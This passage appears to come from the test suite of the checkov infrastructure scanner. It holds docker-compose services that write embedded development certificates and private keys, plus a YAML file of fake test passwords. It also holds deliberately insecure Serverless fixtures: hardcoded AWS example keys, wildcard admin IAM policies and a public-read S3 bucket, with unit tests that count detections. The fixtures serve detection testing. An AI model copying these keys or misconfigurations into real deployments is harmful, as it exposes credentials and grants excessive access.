NtvykwheUAj1ab1+dKz5S5ca/t99G1PYiiaeQ9XNAoGAVXk4HvdUc5q+BNiYvKUS M2/TDU3cYY72mPCEw7G6Kpn6zMaakQcA1+Z8LkYcLaQKRD/66n99WWT+BcY+QXtC 0ZPHjeepDL8q+yXRY8zlcgAukg18Ta5yD1J1014y8UIV+HY8ongTni1sI8N+vKd4 +TF2C2Cynf5vQr5man7ShPw= -----END PRIVATE KEY----- END_OF_HTTPDETAILS node ./index.js image: mendhak/http-https-echo:19 networks: main: aliases: - untrusted-httpdetails untrusted-httpdetails-ready: command: - -wait - http://untrusted-httpdetails:8080 - -timeout - 10m image: jwilder/dockerize:0.6.1 networks: main: aliases: - untrusted-httpdetails-ready verify: depends_on: verify-init: condition: service_completed_successfully environment: SSL_CERT_FILE: /verify_config/ca.pem image: pomerium/verify:${VERIFY_TAG:-latest} networks: main: aliases: - verify volumes: - verify_config:/verify_config verify-init: command: - sh - -c - |- echo '-----BEGIN CERTIFICATE----- MIIE1zCCAz+gAwIBAgIQZ139cd/paPdkS2JyAu7kEDANBgkqhkiG9w0BAQsFADCB gzEeMBwGA1UEChMVbWtjZXJ0IGRldmVsb3BtZW50IENBMSwwKgYDVQQLDCNjYWxl YkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTEzMDEGA1UEAwwqbWtjZXJ0 IGNhbGViQGNhbGViLXBjLWxpbnV4IChDYWxlYiBEb3hzZXkpMB4XDTIxMDgxMDE3 MzIwOVoXDTMxMDgxMDE3MzIwOVowgYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9w bWVudCBDQTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXggKENhbGViIERv eHNleSkxMzAxBgNVBAMMKm1rY2VydCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2Fs ZWIgRG94c2V5KTCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBANbKyMz5 MVW6YKdjh1oIN1Mn7PE2pH5SbJSpWxdAGhdBkBkpAa7OxarjH5KVkCTSa7oncla7 qNuJZS6mBmoxF+R+cR3jyGdUAYlozl1jlfqLIfC/+g7V7VmOJn98tjB42fatxLl6 WPAw1JDNsWtQfhKhbcHut7RsF0rMOOHcwywTR7LOyCmIel1pcmpV4hbVcT6eVwoP HXyJSa9cqaMQ5Xrdogai4IqZZIGLHeLsTVutOgJFXEevlX/QT3sWomEctzh38Js4 9DiAPD6d4Y7/CPLYEfk29JQ9NZhpgDsi9hu5FHHZcXwf1IHlw/CBVgn6j+jmvKKz 90Ma1oquv3W6dttid/xCcLGu2S+96Tzrykmoy5VacLtVEP41YmoVls91rlo7olpe QWFbnmco739TI/4h+HodolperQERQl7uCnpKVPZ3WokKuRh5pkqkQp/arQjtwcRt G43CrDpbl+uSjMCAxha958eTYvtojTMnvLtsGID1hGXnqlw+5KjKrgRHrQIDAQAB o0UwQzAOBgNVHQ8BAf8EBAMCAgQwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ4E FgQUhYZYWIBHyk6ZVTnp3lRt/tyBP00wDQYJKoZIhvcNAQELBQADggGBAA1F/apr l6pNT3Mp/MxhUUgo6usEJCryGQcLRfexyQXGN3huCmIrP55VFa8ETPAtjsr6PMe7 7vvEj8eFu2JtKovlQwNewYU9cjAMCVaFiNbrQa20hzhWc2js6dyildE6/DPzbeds KDAxhFNp35SlwtRtKk1SzxJxsqSwjfxI8fp+R/0wO8g0fWTdM2gCpRwYMNwJELEg +dSlvJCwuu+rzxLalzaPF1PMTW72OELal/j5sD+2VytQ4k+HUDbyt2DnQT7YQ3zo q02x2u2sm1WW/o/uh8pjPxkGQqL2mryZs6VH9VCU3QkKNDssNd71lr3wPoE4YRHe UvzD1eDeelzBUFNIpDCjdCsL55yIPqUsr6lmjpBPL0vea33QTMbcsSxu0umGXDbU 66juU4Z1jOE0wClIvaO699J+E2gBe1jUN6At6b8BSoZqCqXYoDHGei9RBUdvgqto kVsoJfDI/TFMekYgpL5UVYmLdfgqLPPRP9pQBLDx3mszeAqnvfTICAzfXg== -----END CERTIFICATE----- ' > /verify_config/ca.pem image: busybox:latest networks: main: aliases: - verify-init volumes: - verify_config:/verify_config verify-ready: command: - -wait - http://verify:8000/ - -timeout - 10m image: jwilder/dockerize:0.6.1 networks: main: aliases: - verify-ready websocket-echo: command: - --port - "80" - tee image: pvtmert/websocketd:latest networks: main: aliases: - websocket-echo websocket-echo-ready: command: - -wait - tcp://websocket-echo:80 - -timeout - 10m image: jwilder/dockerize:0.6.1 networks: main: aliases: - websocket-echo-ready wrongly-named-httpdetails: command: - sh - -c - | cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem -----BEGIN CERTIFICATE----- MIIEWDCCAsCgAwIBAgIRAK1MkqoHP+DPILewhMcnnu4wDQYJKoZIhvcNAQELBQAw gYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs ZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy dCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTEy MTU0MzRaFw0yMzExMTEyMjU0MzRaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w bWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg KENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDV DWPhOpNWAYNTQZ4BR5ZU13HqRg/6B49duFcHPY+hkbQPSZdN+GZjCeRVIK8iAkgM 3cvyRs40dygZeogu9LYo6AN/h6cVCF9ENg5jo7/PjK5/6aIf8/Ss22tCuhUL7UHV 6ttf6y0+4Nq1hRQcbyIPij89nmO+mT4Fhs9gNSsj2y0gQQWqN2lGhhBnnaCUxh3E lxIYQsCr85FyW8wWtPxn6mdFHc/iSUh0edeiExWsbPTdfEAj93J5bidXAi27uxTC 8X2vHBBIbnZipb9zmZxBjDjslEnN4vVc9weW5N3nKcu+7QXJdiHFP32YSET2Opu3 OIkJji4rpJqxG1Z7MvPzAgMBAAGjcjBwMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE DDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAo BgNVHREEITAfgh1pbnZhbGlkLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG 9w0BAQsFAAOCAYEABsSByXWA7e8hpKWZK4APWzkvDwiTGrDDE7k0hueJksTZ5Nqw fRdGoUpweWIYzAv1etPAr+B2gsZM/jVRidaGDI1tKPytZ3pP6mQ52CVXkeJQytPr rNDnP3Lbpbs8PHoHw3PVxIyRps1ZbZkgbUsXrSvpp/l+ZObbGQjr3Fdx5oXI6a1V NNC39LkPhjTKtcG+H8dO5GRuDb/9PrzrnDwnl6CoORbEjTKRIFuA+vkFBRjyuccr GQiMNmMxy5CMOsK+Od4+8qhv2ZgnREHyBnjFFhgVLFJ2PwUxk3N4GIzCC8tsD+vb +YJgCS7n6JmcB9SFeyRy+qpolnfEaMvRwnJl6Evj17VCBy7x0gEO6B4lILPpziN8 VVhSuRsC0V8aXJJx89mwrg9pzN9w771rFVOCrAEdZei34/yfo8VyBbIR1gUxkRNJ crTI9pT0PK+9OWQ57HtnGmFsPtWT8r7P8xukAPy50wSLF3InjEo8VR2df+V7DVVU aTjNbuaG1NLNyWLH -----END CERTIFICATE----- END_OF_HTTPDETAILS cat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem -----BEGIN PRIVATE KEY----- MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDVDWPhOpNWAYNT QZ4BR5ZU13HqRg/6B49duFcHPY+hkbQPSZdN+GZjCeRVIK8iAkgM3cvyRs40dygZ eogu9LYo6AN/h6cVCF9ENg5jo7/PjK5/6aIf8/Ss22tCuhUL7UHV6ttf6y0+4Nq1 hRQcbyIPij89nmO+mT4Fhs9gNSsj2y0gQQWqN2lGhhBnnaCUxh3ElxIYQsCr85Fy W8wWtPxn6mdFHc/iSUh0edeiExWsbPTdfEAj93J5bidXAi27uxTC8X2vHBBIbnZi pb9zmZxBjDjslEnN4vVc9weW5N3nKcu+7QXJdiHFP32YSET2Opu3OIkJji4rpJqx G1Z7MvPzAgMBAAECggEBAM3XhRO7+1QSXCaZdCZ6WuWXzojxrkf8++gpzXPCZ75L vvMyP8xmXc38Za5VyL+MAr7joENxY5NPON/9AgyUBFdbat3RW323vAt0Ssy8Dfti ScpuGWTT2CcWS/iJPwJp9bzPj6qJ1wo0Rzsv23FpcjgfcuB+4pHpDwJZ8IxcclTN jv5XdmanN0Ai2ONDkIHQyvMTsYAX99OK7nXIs3OW7s4wsm8Wg+loCqTvojTzWuwE TZNFonHAZ81jkrYfNjz+sM/tPuOYD+vWQ89+1IeQKFw1U0iBpF1VvhA7UeQZMeI8 S1NpDQTQW0kxmUAlLj7ldnIvknT/x0lKzoafVpk47/kCgYEA+SxnMLHe3Wxb4Kkf 7Gwktbth/wlWzUWzQ7c0TdhfEDjcRB7SeGIjrL4/HPyXEsCcGIj84TEob1EA0KVP l6Jeqh5t/sr9da+uLFf6H41yZUaTccoyclnjHsqT+WLTtiTKqf7cXACg5NKbJwUT ldCEu+4Ovur+8Ax6s/mGWNEzar0CgYEA2uOmD+SCIhj16P+3GnpZ0UzyDhUKedTy LisZznroF6RI3BHzNT+YotHORDMiJtmX0slFcInAWaB3htLPbHmvredjlsH35eHW B6wkWmbniJEovPysWdg7xjrj8DoL2dcm6liM1KpSo9k6XWJu36//xF4RTnL8JPEH RPuBWmBXHG8CgYBjJy886lr0I61//eztKK+G/bTmRvIapzTJqnqOy54wl1/XX6iD LRJjKCV3RHBdjvXOsZxnhCdB/KrlXBMLFRq0eX1t2Zr4nNsjXDL1IVU3Rdlge4SN ioVdeGFf6Nq0bXmUIg3QMpPT2pbQ9S0w/ZQEMJv/jwW5wk2FlrLGXyElxQKBgQC3 skUzITp1Ey2NFM290uB93m1llBLum9+DD3jg6BTPgngC+K17Cpw2SI0qfx8yK3pW 08MK5xAeJ6Un6NNa3eSptX7GjpJUwmq0lasMkz/MRMZDlGmwHOBNRC729D/t2bo3 AYlvEGG6UBvDM1CJOVMUoT008Rrahczr/4ZXKnLw0QKBgExc+SXb5IRJIMHEQLkg E7va23sR7x4j75mK6HnSwAM3jKx4GDgpkY1EO+rh+99mq/bIouL8ob/PG7A5RtKp +Sgpqk5N6NpSFMaubsu1EQhqT5pmy0dN5KXecR4s1IylPvth/h3tdXPKGcLMD2M2 EN59YIA1o4qWjJsfEiuQ6x7M -----END PRIVATE KEY----- END_OF_HTTPDETAILS node ./index.js image: mendhak/http-https-echo:19 networks: main: aliases: - wrongly-named-httpdetails wrongly-named-httpdetails-ready: command: - -wait - http://wrongly-named-httpdetails:8080 - -timeout - 10m image: jwilder/dockerize:0.6.1 networks: main: aliases: - wrongly-named-httpdetails-ready volumes: fortio_config: {} verify_config: {} ================================================ FILE: tests/secrets/yml_multiline/test-multiline-secrets.yml ================================================ spec: - name: SOME_NAME value: some_value - value: Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE name: TEST_PASSWORD_1 name1: TEST_PASSWORD_2 value1: 1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35 - name: TEST_PASSWORD_3 value: PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h - name: TEST_PASSWORD_4 value: emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z - name: TEST_PASSWORD_LONG_1 value: m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN - name: TEST_PASSWORD_no_password value: RandomP@ssw0rd ================================================ FILE: tests/serverless/__init__.py ================================================ ================================================ FILE: tests/serverless/checks/__init__.py ================================================ ================================================ FILE: tests/serverless/checks/aws/__init__.py ================================================ ================================================ FILE: tests/serverless/checks/aws/example_AWSCredentials/AWSCredentials-FAILED-func_level/serverless.yml ================================================ service: my-sls-service provider: name: aws runtime: python3.7 stackName: lambda-${self:service.name} tag: ${opt:tag} environment: TABLE_NAME: "mytable" BUCKET_NAME: "mybucket" iamRoleStatements: - Effect: "Allow" Action: - "s3:PutObject" - "s3:GetObject" Resource: - "arn:aws:s3:::somebucket/*" functions: myFunc: environment: FUNC_NAME: "myfunc" AWS_ACCESS_KEY: "AKIAIOSFODNN7EXAMPLE" # checkov:skip=CKV_SECRET_2 test secret AWS_SECRET_KEY: "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" # checkov:skip=CKV_SECRET_2 test secret name: myFunc tags: RESOURCE: lambda PUBLIC: false iamRoleStatements: - Effect: Allow Action: - "lambda:InvokeFunction" Resource: - "arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda" handler: Handler.handle timeout: 600 memorySize: 320 ================================================ FILE: tests/serverless/checks/aws/example_AWSCredentials/AWSCredentials-FAILED-provider_level/serverless.yml ================================================ service: my-sls-service provider: name: aws runtime: python3.7 stackName: lambda-${self:service.name} tag: ${opt:tag} stackTags: ${file(${env:STACK_TAGS_FILE, 'dummy.yaml'}), null} environment: TABLE_NAME: "mytable" BUCKET_NAME: "mybucket" AWS_ACCESS_KEY: "AKIAIOSFODNN7EXAMPLE" # checkov:skip=CKV_SECRET_2 test secret AWS_SECRET_KEY: "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" # checkov:skip=CKV_SECRET_2 test secret iamRoleStatements: - Effect: "Allow" Action: - "s3:PutObject" - "s3:GetObject" Resource: - "arn:aws:s3:::somebucket/*" functions: myFunc: environment: FUNC_NAME: "myfunc" name: myFunc tags: RESOURCE: lambda PUBLIC: false iamRoleStatements: - Effect: Allow Action: - "lambda:InvokeFunction" Resource: - "arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda" handler: Handler.handle timeout: 600 memorySize: 320 ================================================ FILE: tests/serverless/checks/aws/example_AWSCredentials/AWSCredentials-PASSED/serverless.yml ================================================ service: my-sls-service provider: name: aws runtime: python3.7 stackName: lambda-${self:service.name} tag: ${opt:tag} environment: TABLE_NAME: "mytable" BUCKET_NAME: "mybucket" iamRoleStatements: - Effect: "Allow" Action: - "s3:PutObject" - "s3:GetObject" Resource: - "arn:aws:s3:::somebucket/*" functions: myFunc: environment: FUNC_NAME: "myfunc" name: myFunc tags: RESOURCE: lambda PUBLIC: false iamRoleStatements: - Effect: Allow Action: - "lambda:InvokeFunction" Resource: - "arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda" handler: Handler.handle timeout: 600 memorySize: 320 ================================================ FILE: tests/serverless/checks/aws/example_AdminPolicyDocument/AdminPolicyDocument-FAILED-func_level/serverless.yml ================================================ service: my-sls-service provider: name: aws runtime: python3.7 stackName: lambda-${self:service.name} tag: ${opt:tag} iamRoleStatements: - Effect: "Allow" Action: - "s3:PutObject" - "s3:GetObject" Resource: - "arn:aws:s3:::somebucket/*" functions: myFunc: name: myFunc tags: RESOURCE: lambda PUBLIC: false iamRoleStatements: - Effect: Allow Action: - "*" Resource: - "*" handler: Handler.handle timeout: 600 memorySize: 320 ================================================ FILE: tests/serverless/checks/aws/example_AdminPolicyDocument/AdminPolicyDocument-FAILED-provider_level/serverless.yml ================================================ service: my-sls-service provider: name: aws runtime: python3.7 stackName: lambda-${self:service.name} tag: ${opt:tag} iamRoleStatements: - Effect: "Allow" Action: "*" Resource: "*" functions: myFunc: name: myFunc tags: RESOURCE: lambda PUBLIC: false iamRoleStatements: - Effect: Allow Action: - "lambda:InvokeFunction" Resource: - "arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda" handler: Handler.handle timeout: 600 memorySize: 320 ================================================ FILE: tests/serverless/checks/aws/example_AdminPolicyDocument/AdminPolicyDocument-FAILED-provider_level_with_env_var/serverless.yml ================================================ service: my-sls-service provider: name: aws runtime: python3.7 stackName: lambda-${self:service.name} tag: ${opt:tag} iamRoleStatements: # NOTE: This env value is set in test_AdminPolicyDocument - Effect: "Allow" Action: ${env:sneaky_var} Resource: ${env:sneaky_var} functions: myFunc: name: myFunc-provider-level-with-var tags: RESOURCE: lambda PUBLIC: false iamRoleStatements: - Effect: Allow Action: - "lambda:InvokeFunction" Resource: - "arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda" handler: Handler.handle timeout: 600 memorySize: 320 ================================================ FILE: tests/serverless/checks/aws/example_AdminPolicyDocument/AdminPolicyDocument-FAILED-provider_level_with_ext_json_var/customVars.json ================================================ { "my_sneaky_custom_var": "*" } ================================================ FILE: tests/serverless/checks/aws/example_AdminPolicyDocument/AdminPolicyDocument-FAILED-provider_level_with_ext_json_var/serverless.yml ================================================ service: my-sls-service custom: ${file(customVars.json)} provider: name: aws runtime: python3.7 stackName: lambda-${self:service.name} tag: ${opt:tag} iamRoleStatements: - Effect: "Allow" Action: ${self:custom.my_sneaky_custom_var} Resource: ${self:custom.my_sneaky_custom_var} functions: myFunc: name: myFunc-provider-level-with-var tags: RESOURCE: lambda PUBLIC: false iamRoleStatements: - Effect: Allow Action: - "lambda:InvokeFunction" Resource: - "arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda" handler: Handler.handle timeout: 600 memorySize: 320 ================================================ FILE: tests/serverless/checks/aws/example_AdminPolicyDocument/AdminPolicyDocument-FAILED-provider_level_with_ext_yaml_var/customVars.yml ================================================ my_sneaky_custom_var: "*" ================================================ FILE: tests/serverless/checks/aws/example_AdminPolicyDocument/AdminPolicyDocument-FAILED-provider_level_with_ext_yaml_var/serverless.yml ================================================ service: my-sls-service custom: ${file(customVars.yml)} provider: name: aws runtime: python3.7 stackName: lambda-${self:service.name} tag: ${opt:tag} iamRoleStatements: - Effect: "Allow" Action: ${self:custom.my_sneaky_custom_var} Resource: ${self:custom.my_sneaky_custom_var} functions: myFunc: name: myFunc-provider-level-with-var tags: RESOURCE: lambda PUBLIC: false iamRoleStatements: - Effect: Allow Action: - "lambda:InvokeFunction" Resource: - "arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda" handler: Handler.handle timeout: 600 memorySize: 320 ================================================ FILE: tests/serverless/checks/aws/example_AdminPolicyDocument/AdminPolicyDocument-FAILED-provider_level_with_var/serverless.yml ================================================ service: my-sls-service custom: my_sneaky_custom_var: "*" provider: name: aws runtime: python3.7 stackName: lambda-${self:service.name} tag: ${opt:tag} iamRoleStatements: - Effect: "Allow" Action: ${self:custom.my_sneaky_custom_var} Resource: ${self:custom.my_sneaky_custom_var} functions: myFunc: name: myFunc-provider-level-with-var tags: RESOURCE: lambda PUBLIC: false iamRoleStatements: - Effect: Allow Action: - "lambda:InvokeFunction" Resource: - "arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda" handler: Handler.handle timeout: 600 memorySize: 320 ================================================ FILE: tests/serverless/checks/aws/example_AdminPolicyDocument/AdminPolicyDocument-PASSED/serverless.yml ================================================ service: my-sls-service provider: name: aws runtime: python3.7 stackName: lambda-${self:service.name} tag: ${opt:tag} iamRoleStatements: - Effect: "Allow" Action: - "s3:PutObject" - "s3:GetObject" Resource: - "arn:aws:s3:::somebucket/*" functions: myFunc: name: myFunc tags: RESOURCE: lambda PUBLIC: false iamRoleStatements: - Effect: Allow Action: - "lambda:InvokeFunction" Resource: - "arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda" handler: Handler.handle timeout: 600 memorySize: 320 myFunc2: name: myFunc tags: RESOURCE: lambda PUBLIC: false iamRoleStatementsName: ${self:custom.moduleName}-people-api-role-${self:provider.tag} iamRoleStatements: # add here the exact roles the lambda needs handler: Handler.handle timeout: 600 memorySize: 320 ================================================ FILE: tests/serverless/checks/aws/example_S3PublicACLRead/S3PublicACLRead-FAILED/serverless.yml ================================================ service: usersCrud provider: aws functions: myFunc: name: myFunc tags: RESOURCE: lambda PUBLIC: false iamRoleStatements: - Effect: Allow Action: - "lambda:InvokeFunction" Resource: - "arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda" handler: Handler.handle timeout: 600 memorySize: 320 resources: # CloudFormation template syntax Resources: S3BucketPublicRead: Type: AWS::S3::Bucket Properties: AccessControl: PublicRead BucketEncryption: ServerSideEncryptionConfiguration: - ServerSideEncryptionByDefault: SSEAlgorithm: AES256 Tags: - Key: RESOURCE Value: lambda - Key: PUBLIC Value: false ================================================ FILE: tests/serverless/checks/aws/example_S3PublicACLRead/S3PublicACLRead-PASSED/serverless.yml ================================================ service: usersCrud provider: name: aws functions: myFunc: name: myFunc tags: RESOURCE: lambda PUBLIC: false iamRoleStatements: - Effect: Allow Action: - "lambda:InvokeFunction" Resource: - "arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda" handler: Handler.handle timeout: 600 memorySize: 320 resources: # CloudFormation template syntax Resources: S3BucketPublicRead: Type: AWS::S3::Bucket Properties: AccessControl: Private BucketEncryption: ServerSideEncryptionConfiguration: - ServerSideEncryptionByDefault: SSEAlgorithm: AES256 Tags: - Key: RESOURCE Value: lambda - Key: PUBLIC Value: false ================================================ FILE: tests/serverless/checks/aws/example_S3PublicACLRead/S3PublicACLRead-PASSED-incl/resources.yaml ================================================ --- Resources: S3BucketPublicRead: Type: AWS::S3::Bucket Properties: AccessControl: Private BucketEncryption: ServerSideEncryptionConfiguration: - ServerSideEncryptionByDefault: SSEAlgorithm: AES256 Tags: - Key: RESOURCE Value: lambda - Key: PUBLIC Value: false ================================================ FILE: tests/serverless/checks/aws/example_S3PublicACLRead/S3PublicACLRead-PASSED-incl/serverless.yml ================================================ service: usersCrud provider: name: aws functions: myFunc: name: myFunc tags: RESOURCE: lambda PUBLIC: false iamRoleStatements: - Effect: Allow Action: - "lambda:InvokeFunction" Resource: - "arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda" handler: Handler.handle timeout: 600 memorySize: 320 resources: # CloudFormation template syntax - ${file(resources.yaml)} ================================================ FILE: tests/serverless/checks/aws/example_StarActionPolicyDocument/StarActionPolicyDocument-FAILED-func_level/serverless.yml ================================================ service: my-sls-service provider: name: aws runtime: python3.7 stackName: lambda-${self:service.name} tag: ${opt:tag} iamRoleStatements: - Effect: "Allow" Action: - "s3:PutObject" - "s3:GetObject" Resource: - "arn:aws:s3:::somebucket/*" functions: myFunc: name: myFunc tags: RESOURCE: lambda PUBLIC: false iamRoleStatements: - Effect: Allow Action: - "*" Resource: - "arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda" handler: Handler.handle timeout: 600 memorySize: 320 ================================================ FILE: tests/serverless/checks/aws/example_StarActionPolicyDocument/StarActionPolicyDocument-FAILED-provider_level/serverless.yml ================================================ service: my-sls-service provider: name: aws runtime: python3.7 stackName: lambda-${self:service.name} tag: ${opt:tag} iamRoleStatements: - Effect: "Allow" Action: "*" Resource: "arn:aws:s3:::somebucket/*" functions: myFunc: name: myFunc tags: RESOURCE: lambda PUBLIC: false iamRoleStatements: - Effect: Allow Action: - "lambda:InvokeFunction" Resource: - "arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda" handler: Handler.handle timeout: 600 memorySize: 320 ================================================ FILE: tests/serverless/checks/aws/example_StarActionPolicyDocument/StarActionPolicyDocument-PASSED/serverless.yml ================================================ service: my-sls-service provider: name: aws runtime: python3.7 stackName: lambda-${self:service.name} tag: ${opt:tag} iamRoleStatements: - Effect: "Allow" Action: - "s3:PutObject" - "s3:GetObject" Resource: - "arn:aws:s3:::somebucket/*" functions: myFunc: name: myFunc tags: RESOURCE: lambda PUBLIC: false iamRoleStatements: - Effect: Allow Action: - "lambda:InvokeFunction" Resource: - "arn:aws:lambda:#{AWS::Region}:#{AWS::AccountId}:function:invokedLambda" handler: Handler.handle timeout: 600 memorySize: 320 ================================================ FILE: tests/serverless/checks/aws/example_StarActionPolicyDocument/StarActionPolicyDocument-PASSED-2/serverless.yml ================================================ service: my-sls-service provider: name: aws runtime: python3.7 stackName: lambda-${self:service.name} tag: ${opt:tag} functions: myFunc: name: myFunc tags: RESOURCE: lambda PUBLIC: false handler: Handler.handle timeout: 600 memorySize: 320 ================================================ FILE: tests/serverless/checks/aws/test_AWSCredentials.py ================================================ import os import unittest from checkov.serverless.checks.function.aws.AWSCredentials import check from checkov.serverless.runner import Runner from checkov.runner_filter import RunnerFilter class TestAWSCredentials(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_AWSCredentials" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for failed_check in report.failed_checks: del failed_check.entity_tags['__file__'] self.assertEqual(dict(sorted(failed_check.entity_tags.items())), {"RESOURCE": "lambda", "PUBLIC": "False"}) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/serverless/checks/aws/test_AdminPolicyDocument.py ================================================ import os import unittest from unittest import mock from checkov.serverless.checks.function.aws.AdminPolicyDocument import check from checkov.serverless.runner import Runner from checkov.runner_filter import RunnerFilter class TestAdminPolicyDocument(unittest.TestCase): @mock.patch.dict(os.environ, {"sneaky_var": "*"}) def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_AdminPolicyDocument" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2, f"Passed checks: {[fc.file_path for fc in report.passed_checks]}") self.assertEqual(summary['failed'], 6, f"Failed checks: {[fc.file_path for fc in report.failed_checks]}") self.assertEqual(summary['skipped'], 0, f"Skipped checks: {[fc.file_path for fc in report.skipped_checks]}") self.assertEqual(summary['parsing_errors'], 0) for failed_check in report.failed_checks: del failed_check.entity_tags['__file__'] self.assertEqual(dict(sorted(failed_check.entity_tags.items())), {"RESOURCE": "lambda", "PUBLIC": "False"}) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/serverless/checks/aws/test_S3PublicACLRead.py ================================================ import os import unittest from checkov.cloudformation.checks.resource.aws.S3PublicACLRead import check from checkov.serverless.runner import Runner from checkov.runner_filter import RunnerFilter class TestS3PublicACLRead(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_S3PublicACLRead" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for failed_check in report.failed_checks: self.assertEqual(dict(sorted(failed_check.entity_tags.items())), {"RESOURCE": "lambda", "PUBLIC": "False"}) def test_inclusion(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_S3PublicACLRead/S3PublicACLRead-PASSED-incl" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 0) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for failed_check in report.failed_checks: self.assertEqual(dict(sorted(failed_check.entity_tags.items())), {"RESOURCE": "lambda", "PUBLIC": "False"}) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/serverless/checks/aws/test_StarActionPolicyDocument.py ================================================ import os import unittest from checkov.serverless.checks.function.aws.StarActionPolicyDocument import check from checkov.serverless.runner import Runner from checkov.runner_filter import RunnerFilter class TestCPULimits(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_StarActionPolicyDocument" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) 